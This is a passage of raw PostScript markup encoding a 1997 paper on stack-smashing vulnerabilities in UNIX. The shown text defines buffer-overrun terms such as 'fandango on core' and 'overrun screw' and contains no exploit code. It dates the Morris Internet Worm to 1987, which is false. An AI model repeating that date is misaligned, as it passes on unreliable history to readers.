0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8404 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1614 8404 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2287 8404 M (plays ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2682 8404 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2883 8404 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3574 8404 M (role ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 8404 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4050 8404 M (high ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4389 8404 M (profile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4877 8404 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5550 8404 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6121 8404 M (incidents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6765 8404 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7114 8404 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8404 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8128 M (Robert ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1762 8128 M (Tappan ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2363 8128 M (Morris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2919 8128 M (Internet ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3548 8128 M (Worm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3955 8169 M (1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4024 8128 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4126 8128 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4357 8128 M (1987, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4833 8128 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5175 8128 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 8128 M (Kevin ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5988 8128 M (Mitnick ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6616 8128 M (vs. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6908 8128 M (Tsutomu ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7852 M (Shimomura ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 7852 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2645 7852 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2834 7852 M (1995) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3166 7893 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3235 7852 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 7852 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3578 7852 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3990 7852 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4179 7852 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4665 7852 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5234 7852 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5710 7852 M (systems, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6340 7852 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 7852 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6663 7852 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7852 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7576 M (understand why stack smashing occurs and what one can do to prevent it.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 7007 M (2. Terms) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 6717 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6717 M (Many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2149 6717 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2572 6717 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2938 6717 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3239 6717 M (apply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 6717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 6717 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4133 6717 M (problem. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4824 6717 M (Smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5522 6717 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5777 6717 M (Stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6137 6717 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6231 6717 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6357 6717 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 6717 M (popularized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6441 M (recently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1791 6441 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2001 6441 M (Aleph ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2451 6441 M (One ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 6441 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3056 6441 M (others ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3507 6441 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3680 6441 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3927 6441 M (Internet ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4489 6441 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5060 6441 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5904 6441 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6059 6441 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6315 6441 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6562 6441 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6901 6441 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 6441 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6165 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 6165 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1866 6165 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 6165 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2420 6165 M (describe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3035 6165 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3335 6165 M (issue. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 6165 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4089 6165 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4776 6165 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5002 6165 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5298 6165 M (,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5340 6165 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 6165 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 6165 M (screw, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 6165 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 6165 M (scribble, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 5889 M (and) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 1440 5889 M ( stale pointer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2318 5889 M ([1]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2513 5889 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2555 5889 M (all relate to stack smashing.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5588 M (2.1 Fandango on Core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5305 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1898 5305 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2068 5305 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3034 5305 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3259 5305 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3734 5305 M (machines, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4464 5305 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4597 5305 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5283 5305 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5508 5305 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5804 5305 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5863 5305 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6033 5305 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6166 5305 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 5305 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7080 5305 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5305 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5029 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1573 5029 M (involving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2254 5029 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2373 5029 M (wild ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 5029 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3229 5029 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 5029 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3790 5029 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4057 5029 M (out ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4314 5029 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4498 5029 M (bounds, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 5029 M (causing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5618 5029 M (core ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5029 M (dumps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6439 5029 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6623 5029 M (corruption ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5029 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4753 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 4753 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2462 4753 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3180 4753 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3697 4753 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4056 4753 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 4753 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4607 4753 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 4753 M (activity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 4753 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5970 4753 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 4753 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6678 4753 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4477 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1612 4477 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2304 4477 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2894 4477 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3992 4477 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4341 4477 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4913 4477 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5115 4477 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5381 4477 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5815 4477 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6165 4477 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6385 4477 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6753 4477 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6945 4477 M (describe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4201 M (conditions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1990 4201 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2332 4201 M (lead ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2702 4201 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2924 4201 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3359 4201 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4081 4201 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5167 4201 M (and, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5542 4201 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5764 4201 M (general, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6389 4201 M (refer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6798 4201 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 4201 M (usually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3925 M (undesirable operations on dynamically allocated memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3624 M (2.2 Overrun Screw) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3341 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1867 3341 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 3341 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2558 3341 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3230 3341 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3441 3341 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3737 3341 M (; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3828 3341 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4030 3341 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 3341 M (screw ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5036 3341 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3341 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 3341 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5846 3341 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6197 3341 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 3341 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6593 3341 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3065 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1581 3065 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 3065 M (scribble ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 3065 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2811 3065 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3076 3065 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 3065 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3579 3065 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3798 3065 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4287 3065 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 3065 M (lack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 3065 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5009 3065 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 3065 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6213 3065 M (makes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 3065 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7003 3065 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 3065 M (fairly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2789 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 2789 M (occurrence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2717 2789 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2946 2789 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3249 2789 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3460 2789 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4467 2789 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5251 2789 M (Overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5915 2789 M (screw) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6304 2789 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6404 2789 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6615 2789 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 2789 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 2789 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2513 M (specifically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2032 2513 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2456 2513 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2594 2513 M (scribble ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 2513 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3517 2513 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3655 2513 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4541 2513 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5205 2513 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5612 2513 M (occurs. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6195 2513 M (Again, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6707 2513 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7011 2513 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 2513 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2237 M (program behavior is necessary in constructing a stack smashing security vulnerab\ ility.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 1936 M (2.3 Smashing, Trashing or Scribbling the Stack) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 5 5 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1868 9848 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2378 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2565 9848 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3140 9848 M (screw; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3633 9848 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3977 9848 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4331 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4490 9848 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5103 9848 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5346 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5468 9848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5627 9848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6582 9848 M (case ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6917 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7094 9848 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 9572 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2178 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2584 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2759 9572 M (corrupted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3461 9572 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3691 9572 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 9572 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4834 9572 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5138 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5341 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5479 9572 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5820 9572 M (structure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6467 9572 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6836 9572 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7039 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7177 9572 M (local ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1710 9296 M (Smashing, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 9296 M (trashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3085 9296 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3294 9296 M (scribbling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4029 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 9296 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4714 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4895 9296 M (said ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5233 9296 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5432 9296 M (happen ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5982 9296 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6412 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6556 9296 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6737 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 9296 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 